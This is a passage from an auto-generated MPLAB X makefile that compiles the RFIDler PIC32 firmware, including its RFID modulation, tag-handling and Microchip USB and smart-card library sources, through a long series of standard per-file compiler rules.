${OBJECTDIR}/src/iso7816.o: src/iso7816.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/iso7816.o.d
@${RM} ${OBJECTDIR}/src/iso7816.o
@${FIXDEPS} "${OBJECTDIR}/src/iso7816.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/iso7816.o.d" -o ${OBJECTDIR}/src/iso7816.o src/iso7816.c
${OBJECTDIR}/src/t55x7.o: src/t55x7.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/t55x7.o.d
@${RM} ${OBJECTDIR}/src/t55x7.o
@${FIXDEPS} "${OBJECTDIR}/src/t55x7.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/t55x7.o.d" -o ${OBJECTDIR}/src/t55x7.o src/t55x7.c
${OBJECTDIR}/src/sniff.o: src/sniff.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/sniff.o.d
@${RM} ${OBJECTDIR}/src/sniff.o
@${FIXDEPS} "${OBJECTDIR}/src/sniff.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/sniff.o.d" -o ${OBJECTDIR}/src/sniff.o src/sniff.c
${OBJECTDIR}/src/tamagotchi.o: src/tamagotchi.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/tamagotchi.o.d
@${RM} ${OBJECTDIR}/src/tamagotchi.o
@${FIXDEPS} "${OBJECTDIR}/src/tamagotchi.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/tamagotchi.o.d" -o ${OBJECTDIR}/src/tamagotchi.o src/tamagotchi.c
${OBJECTDIR}/src/hdx.o: src/hdx.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hdx.o.d
@${RM} ${OBJECTDIR}/src/hdx.o
@${FIXDEPS} "${OBJECTDIR}/src/hdx.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hdx.o.d" -o ${OBJECTDIR}/src/hdx.o src/hdx.c
${OBJECTDIR}/src/hitag2crack.o: src/hitag2crack.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hitag2crack.o.d
@${RM} ${OBJECTDIR}/src/hitag2crack.o
@${FIXDEPS} "${OBJECTDIR}/src/hitag2crack.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hitag2crack.o.d" -o ${OBJECTDIR}/src/hitag2crack.o src/hitag2crack.c
${OBJECTDIR}/src/paxton.o: src/paxton.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/paxton.o.d
@${RM} ${OBJECTDIR}/src/paxton.o
@${FIXDEPS} "${OBJECTDIR}/src/paxton.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/paxton.o.d" -o ${OBJECTDIR}/src/paxton.o src/paxton.c
else
${OBJECTDIR}/_ext/1209914024/FSIO.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD\ File\ System/FSIO.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/1209914024"
@${RM} ${OBJECTDIR}/_ext/1209914024/FSIO.o.d
@${RM} ${OBJECTDIR}/_ext/1209914024/FSIO.o
@${FIXDEPS} "${OBJECTDIR}/_ext/1209914024/FSIO.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/1209914024/FSIO.o.d" -o ${OBJECTDIR}/_ext/1209914024/FSIO.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c"
${OBJECTDIR}/_ext/1209914024/SD-SPI.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD\ File\ System/SD-SPI.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/1209914024"
@${RM} ${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d
@${RM} ${OBJECTDIR}/_ext/1209914024/SD-SPI.o
@${FIXDEPS} "${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d" -o ${OBJECTDIR}/_ext/1209914024/SD-SPI.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c"
${OBJECTDIR}/_ext/1019771169/SClib.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart\ Card/SClib.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/1019771169"
@${RM} ${OBJECTDIR}/_ext/1019771169/SClib.o.d
@${RM} ${OBJECTDIR}/_ext/1019771169/SClib.o
@${FIXDEPS} "${OBJECTDIR}/_ext/1019771169/SClib.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/1019771169/SClib.o.d" -o ${OBJECTDIR}/_ext/1019771169/SClib.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c"
${OBJECTDIR}/_ext/1019771169/SCpic32.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart\ Card/SCpic32.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/1019771169"
@${RM} ${OBJECTDIR}/_ext/1019771169/SCpic32.o.d
@${RM} ${OBJECTDIR}/_ext/1019771169/SCpic32.o
@${FIXDEPS} "${OBJECTDIR}/_ext/1019771169/SCpic32.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/1019771169/SCpic32.o.d" -o ${OBJECTDIR}/_ext/1019771169/SCpic32.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c"
${OBJECTDIR}/_ext/631258897/usb_function_cdc.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC\ Device\ Driver/usb_function_cdc.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/631258897"
@${RM} ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d
@${RM} ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o
@${FIXDEPS} "${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d" -o ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c"
${OBJECTDIR}/_ext/186742988/usb_device.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/_ext/186742988"
@${RM} ${OBJECTDIR}/_ext/186742988/usb_device.o.d
@${RM} ${OBJECTDIR}/_ext/186742988/usb_device.o
@${FIXDEPS} "${OBJECTDIR}/_ext/186742988/usb_device.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/_ext/186742988/usb_device.o.d" -o ${OBJECTDIR}/_ext/186742988/usb_device.o /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c
${OBJECTDIR}/src/indala.o: src/indala.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/indala.o.d
@${RM} ${OBJECTDIR}/src/indala.o
@${FIXDEPS} "${OBJECTDIR}/src/indala.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/indala.o.d" -o ${OBJECTDIR}/src/indala.o src/indala.c
${OBJECTDIR}/src/main.o: src/main.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/main.o.d
@${RM} ${OBJECTDIR}/src/main.o
@${FIXDEPS} "${OBJECTDIR}/src/main.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/main.o.d" -o ${OBJECTDIR}/src/main.o src/main.c
${OBJECTDIR}/src/psk.o: src/psk.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/psk.o.d
@${RM} ${OBJECTDIR}/src/psk.o
@${FIXDEPS} "${OBJECTDIR}/src/psk.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/psk.o.d" -o ${OBJECTDIR}/src/psk.o src/psk.c
${OBJECTDIR}/src/usb_descriptors.o: src/usb_descriptors.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/usb_descriptors.o.d
@${RM} ${OBJECTDIR}/src/usb_descriptors.o
@${FIXDEPS} "${OBJECTDIR}/src/usb_descriptors.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/usb_descriptors.o.d" -o ${OBJECTDIR}/src/usb_descriptors.o src/usb_descriptors.c
${OBJECTDIR}/src/util.o: src/util.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/util.o.d
@${RM} ${OBJECTDIR}/src/util.o
@${FIXDEPS} "${OBJECTDIR}/src/util.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/util.o.d" -o ${OBJECTDIR}/src/util.o src/util.c
${OBJECTDIR}/src/emulate.o: src/emulate.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/emulate.o.d
@${RM} ${OBJECTDIR}/src/emulate.o
@${FIXDEPS} "${OBJECTDIR}/src/emulate.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/emulate.o.d" -o ${OBJECTDIR}/src/emulate.o src/emulate.c
${OBJECTDIR}/src/ask.o: src/ask.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/ask.o.d
@${RM} ${OBJECTDIR}/src/ask.o
@${FIXDEPS} "${OBJECTDIR}/src/ask.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/ask.o.d" -o ${OBJECTDIR}/src/ask.o src/ask.c
${OBJECTDIR}/src/fsk.o: src/fsk.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/fsk.o.d
@${RM} ${OBJECTDIR}/src/fsk.o
@${FIXDEPS} "${OBJECTDIR}/src/fsk.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/fsk.o.d" -o ${OBJECTDIR}/src/fsk.o src/fsk.c
${OBJECTDIR}/src/clock.o: src/clock.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/clock.o.d
@${RM} ${OBJECTDIR}/src/clock.o
@${FIXDEPS} "${OBJECTDIR}/src/clock.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/clock.o.d" -o ${OBJECTDIR}/src/clock.o src/clock.c
${OBJECTDIR}/src/rwd.o: src/rwd.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/rwd.o.d
@${RM} ${OBJECTDIR}/src/rwd.o
@${FIXDEPS} "${OBJECTDIR}/src/rwd.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/rwd.o.d" -o ${OBJECTDIR}/src/rwd.o src/rwd.c
${OBJECTDIR}/src/detect.o: src/detect.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/detect.o.d
@${RM} ${OBJECTDIR}/src/detect.o
@${FIXDEPS} "${OBJECTDIR}/src/detect.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/detect.o.d" -o ${OBJECTDIR}/src/detect.o src/detect.c
${OBJECTDIR}/src/hitagcrypto.o: src/hitagcrypto.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hitagcrypto.o.d
@${RM} ${OBJECTDIR}/src/hitagcrypto.o
@${FIXDEPS} "${OBJECTDIR}/src/hitagcrypto.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hitagcrypto.o.d" -o ${OBJECTDIR}/src/hitagcrypto.o src/hitagcrypto.c
${OBJECTDIR}/src/wiegand.o: src/wiegand.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/wiegand.o.d
@${RM} ${OBJECTDIR}/src/wiegand.o
@${FIXDEPS} "${OBJECTDIR}/src/wiegand.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/wiegand.o.d" -o ${OBJECTDIR}/src/wiegand.o src/wiegand.c
${OBJECTDIR}/src/comms.o: src/comms.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/comms.o.d
@${RM} ${OBJECTDIR}/src/comms.o
@${FIXDEPS} "${OBJECTDIR}/src/comms.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/comms.o.d" -o ${OBJECTDIR}/src/comms.o src/comms.c
${OBJECTDIR}/src/nvm.o: src/nvm.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/nvm.o.d
@${RM} ${OBJECTDIR}/src/nvm.o
